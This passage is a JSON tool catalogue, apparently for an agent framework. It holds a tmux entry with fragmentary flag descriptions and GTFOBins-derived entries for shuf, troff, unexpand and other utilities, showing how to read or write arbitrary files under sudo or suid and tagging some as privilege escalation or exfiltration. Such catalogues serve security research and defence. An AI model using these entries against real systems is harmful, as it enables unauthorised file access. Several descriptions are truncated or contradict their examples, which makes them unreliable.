        "name": "flag-u-2",
        "template_key": "flag-u-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "down. -H hides the position indicator in the top right. -q cancels copy mode and any other modes",
        "aliases": [
          "-u",
          "-d"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-M",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ing, see \"MOUSE SUPPORT\"). -S scrolls when bound to a mouse drag event; for example, copy-mode -Se is bound to MouseDrag1ScrollbarSlider by default",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "-p",
          "-p"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "visible screen) should exit copy mode. While in copy mode, pressing a key other than those used for scrolling will disable this behaviour. This is intended to allow fast scrolling through a pane's history, for example with:",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suitable for use with select-layout. For example:",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-S-2",
        "template_key": "flag-s-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "the first line of the visible pane and negative numbers are lines in the history. `-' to -S is the start of the history and to -E the end of the visible pane. The default is to capture only the visible contents of the pane",
        "aliases": [
          "-S",
          "-E"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "used in client mode:",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-O",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "`creation' (time), or `activity' (time). -r reverses the sort order. -f specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, oth- erwise it is shown. If a filter would lead to an empty list, it is ignored. -F specifies the format for each item in the list and -K a format for each shortcut key; both are evaluated once for each line. -N starts without the preview or if given twice with the larger preview. This command works only if at least one client is attached",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-O-2",
        "template_key": "flag-o-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "`time' (activity). -r reverses the sort order. -f specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored. -F specifies the format for each item in the tree and -K a format for each shortcut key; both are evaluated once for each line. -N starts without the preview or if given twice with the larger preview. -G includes all sessions in any session groups in the tree rather than only the first. This command works only if at least one client is attached",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-f-3",
        "template_key": "flag-f-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ig- nored. -F specifies the format for each item in the tree. -N starts without the option information. This command works only if at least one client is attached",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "means the indicator stays until a key is pressed. While the in- dicator is on screen, a pane may be chosen with the `0' to `9' keys, which will cause template to be executed as a command with `%%' substituted by the pane ID. The default template is \"se- lect-pane -t '%%'\". With -b, other commands are not blocked from running until the indicator is closed",
        "aliases": [
          "-d",
          "-p",
          "-t"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "and a window named window-name already exists, it is selected (unless -d is also given in which case the command does noth- ing)",
        "aliases": [
          "-k",
          "-S"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-c-3",
        "template_key": "flag-c-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "created",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e-2",
        "template_key": "flag-e-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "able for the newly created window; it may be specified multiple times",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connected to the pane: with -I stdout is connected (so anything shell-command prints is written to the pane as if it were typed); with -O stdin is connected (so any output in the pane is piped to shell-command). Both may be used together and if nei- ther are specified, -O is used",
        "aliases": [
          "-I",
          "-O",
          "-c"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "adjustment is given in lines or columns (the default is 1); -x and -y may be a given as a number of lines or columns or fol- lowed by `%' for a percentage of the window size (for example `-x 10%'). With -Z, the active pane is toggled between zoomed (occupying the whole of the window) and unzoomed (its normal po- sition in the layout)",
        "aliases": [
          "-D",
          "-L",
          "-R",
          "-x",
          "-y"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-M-2",
        "template_key": "flag-m-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "binding, see \"MOUSE SUPPORT\")",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-T-3",
        "template_key": "flag-t-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "lines out of the history to replace them",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-D-2",
        "template_key": "flag-d-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "The",
        "aliases": [
          "-D",
          "-L",
          "-R",
          "-x",
          "-y"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-Z",
        "template_key": "flag-z",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-Z"
        ],
        "flag": "-Z"
      },
      {
        "name": "flag-D-3",
        "template_key": "flag-d-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "left, to the right, or above the target pane is used. -Z keeps the window zoomed if it was zoomed. -l is the same as using the last-pane command. -e enables or -d disables input to the pane. -T sets the pane title",
        "aliases": [
          "-D",
          "-L",
          "-R",
          "-U"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-m-2",
        "template_key": "flag-m-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "one marked pane at a time, setting a new marked pane clears the last. The marked pane is the default target for -s to join-pane, move-pane, swap-pane and swap-window",
        "aliases": [
          "-m",
          "-M"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-Z-2",
        "template_key": "flag-z-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ready zoomed",
        "aliases": [
          "-Z"
        ],
        "flag": "-Z"
      },
      {
        "name": "flag-m-3",
        "template_key": "flag-m-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-m-4",
        "template_key": "flag-m-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "the current window",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-M-3",
        "template_key": "flag-m-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "key binding, see \"MOUSE SUPPORT\")",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-X",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "AND PANES\" section. -N specifies a repeat count and -F expands formats in arguments where appropriate",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-F-2",
        "template_key": "flag-f-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "option, so a session inherits the option from the global options (or with -g, restores a global option to the default). -U un- sets an option (like -u) but if the option is a pane option also unsets the option on any panes in the window. value depends on the option and its type and can be omitted for flag and choice options to toggle its value (choice options toggle between the first two choices)",
        "aliases": [
          "-F",
          "-u"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-a-3",
        "template_key": "flag-a-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ground",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-d-2",
        "template_key": "flag-d-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "acter. The default is 80x24",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-1",
        "template_key": "flag-1",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "resulting input is a single character. -k is like -1 but the key press is translated to a key name. -N makes the prompt only accept numeric key presses. -i executes the command every time the prompt input changes instead of when the user exits the com- mand prompt",
        "aliases": [
          "-1"
        ],
        "flag": "-1"
      },
      {
        "name": "flag-T-4",
        "template_key": "flag-t-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "are offered when Tab is pressed. Available types are: `command', `search', `target' and `window-target'",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "See popup-border-lines for possible values for border-lines",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-s-2",
        "template_key": "flag-s-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "menu border (see \"STYLES\")",
        "aliases": [
          "-s",
          "-S"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-T-5",
        "template_key": "flag-t-5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-C-2",
        "template_key": "flag-c-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "bound to a mouse key binding",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "column number, or one of the following special values:",
        "aliases": [
          "-x",
          "-y"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-M-4",
        "template_key": "flag-m-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only menus opened from mouse key bindings do so",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-v-2",
        "template_key": "flag-v-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "the format variables and their values",
        "aliases": [
          "-v",
          "-a"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-I-2",
        "template_key": "flag-i-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "target-pane",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-s-3",
        "template_key": "flag-s-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "nored",
        "aliases": [
          "-s",
          "-S"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-E closes the popup only if shell-command exited with success. -k allows any key to dismiss the popup instead of only `Escape' or `C-c'",
        "aliases": [
          "-E",
          "-c"
        ],
        "flag": "-E"
      },
      {
        "name": "flag-x-2",
        "template_key": "flag-x-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "meaning as for the display-menu command. -w and -h give the width and height - both may be a percentage (followed by `%'). If omitted, half of the terminal size is used",
        "aliases": [
          "-x",
          "-y"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-B-2",
        "template_key": "flag-b-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-b-2",
        "template_key": "flag-b-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When -B is specified, the -b option is ignored. See popup-border-lines for possible values for border-lines",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-s-4",
        "template_key": "flag-s-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "popup border (see \"STYLES\")",
        "aliases": [
          "-s",
          "-S"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-e-3",
        "template_key": "flag-e-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "able for the popup; it may be specified multiple times",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-T-6",
        "template_key": "flag-t-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-N",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-N",
          "-E",
          "-E",
          "-k"
        ],
        "flag": "-N"
      },
      {
        "name": "flag-T-7",
        "template_key": "flag-t-7",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "See",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-y-2",
        "template_key": "flag-y-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "used in buffer mode:",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-O-3",
        "template_key": "flag-o-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "`name' or `size'. -r reverses the sort order. -f specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored. -F specifies the format for each item in the list and -K a format for each shortcut key; both are evaluated once for each line. -N starts without the preview. This command works only if at least one client is attached",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-w-2",
        "template_key": "flag-w-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "target-client using the xterm(1) escape sequence, if possible. If path is `-', the contents are read from stdin",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-E-2",
        "template_key": "flag-e-2",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "it. If -c is given, the current working directory is set to start-directory. If -C is not given, any output to stdout is displayed in view mode (in the pane specified by -t or the cur- rent pane if omitted) after the command finishes. If the com- mand fails, the exit status is also displayed",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Tmux manual",
        "url": "https://man7.org/linux/man-pages/man1/tmux.1.html"
      },
      {
        "label": "Tmux cheat sheet",
        "url": "https://tmuxcheatsheet.com/"
      }
    ],
    "related_tools": [
      "screen",
      "byobu",
      "wezterm",
      "zellij"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "tmux-session",
        "captured-output"
      ],
      "consumes": [
        "shell-command"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gtester.md",
    "allowed-tools": [
      "gtester",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GLib test runner, can execute commands via test paths.",
    "examples": [
      {
        "description": "Execute command via gtester",
        "command": "gtester /path/to/test"
      }
    ],
    "execution": {
      "template": "gtester /path/to/test",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-test-gtester",
    "install": [
      {
        "method": "apt",
        "package_name": "libglib2.0-bin",
        "commands": [
          "apt-get install -y libglib2.0-bin"
        ]
      }
    ],
    "name": "gtester",
    "namespace": "system:test:gtester",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gtester/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# shuf\n\nshuf is a command-line utility. Generate random permutations of input lines; can also read arbitrary files, write to arbitrary files.\n",
    "_source": "shuf.md",
    "allowed-tools": [
      "shuf"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Generate random permutations of input lines; can read and write files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "shuf -z /path/to/input-file"
      },
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "shuf -e DATA -o /path/to/output-file"
      }
    ],
    "execution": {
      "template": "shuf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-text-shuf",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "shuf",
    "namespace": "system:text:shuf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/shuf/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# soelim\n\nsoelim is a command-line utility. Resolve .so requests in groff files; can also read arbitrary files.\n",
    "_source": "soelim.md",
    "allowed-tools": [
      "soelim"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Resolve .so requests in groff/troff files; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "soelim /path/to/input-file"
      }
    ],
    "execution": {
      "template": "soelim",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-text-soelim",
    "install": [
      {
        "method": "apt",
        "package_name": "groff",
        "commands": [
          "apt-get install -y groff"
        ]
      }
    ],
    "name": "soelim",
    "namespace": "system:text:soelim",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/soelim/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tbl\n\ntbl is a command-line utility. Format tables for troff; can also read arbitrary files.\n",
    "_source": "tbl.md",
    "allowed-tools": [
      "tbl"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Table preprocessor for troff; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "tbl /path/to/input-file"
      }
    ],
    "execution": {
      "template": "tbl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-text-tbl",
    "install": [
      {
        "method": "apt",
        "package_name": "groff",
        "commands": [
          "apt-get install -y groff"
        ]
      }
    ],
    "name": "tbl",
    "namespace": "system:text:tbl",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tbl/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# troff\n\ntroff is a command-line utility. Typeset documents using troff format; can also read arbitrary files.\n",
    "_source": "troff.md",
    "allowed-tools": [
      "troff"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Typeset documents using troff format; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "troff /path/to/input-file"
      }
    ],
    "execution": {
      "template": "troff",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-text-troff",
    "install": [
      {
        "method": "apt",
        "package_name": "groff",
        "commands": [
          "apt-get install -y groff"
        ]
      }
    ],
    "name": "troff",
    "namespace": "system:text:troff",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/troff/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ul\n\nul is a command-line utility. Underline text for terminals; can also read arbitrary files.\n",
    "_source": "ul.md",
    "allowed-tools": [
      "ul"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Underline text for terminals; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "ul /path/to/input-file"
      }
    ],
    "execution": {
      "template": "ul",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-text-ul",
    "install": [
      {
        "method": "apt",
        "package_name": "bsdmainutils",
        "commands": [
          "apt-get install -y bsdmainutils"
        ]
      }
    ],
    "name": "ul",
    "namespace": "system:text:ul",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ul/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# unexpand\n\nunexpand is a command-line utility. Convert spaces to tabs; can also read arbitrary files.\n",
    "_source": "unexpand.md",
    "allowed-tools": [
      "unexpand"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert spaces to tabs; can spawn a shell.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "unexpand -t999 /path/to/input-file"
      }
    ],
    "execution": {
      "template": "unexpand",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-text-unexpand",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "unexpand",
    "namespace": "system:text:unexpand",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/unexpand/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zsoelim\n\nzsoelim is a command-line utility. Resolve .so requests in compressed groff files; can also read arbitrary files.\n",
    "_source": "zsoelim.md",
    "allowed-tools": [
      "zsoelim"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Resolve .so requests in compressed groff files; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "zsoelim /path/to/input-file"
      }
    ],
    "execution": {
      "template": "zsoelim",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-text-zsoelim",
    "install": [
      {
        "method": "apt",
        "package_name": "groff",
        "commands": [
          "apt-get install -y groff"
        ]
      }
    ],
    "name": "zsoelim",
    "namespace": "system:text:zsoelim",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zsoelim/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# time\n\ntime is a command-line utility. Time command execution duration; can also spawn an interactive shell.\n",
    "_source": "time.md",
    "allowed-tools": [
      "time"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
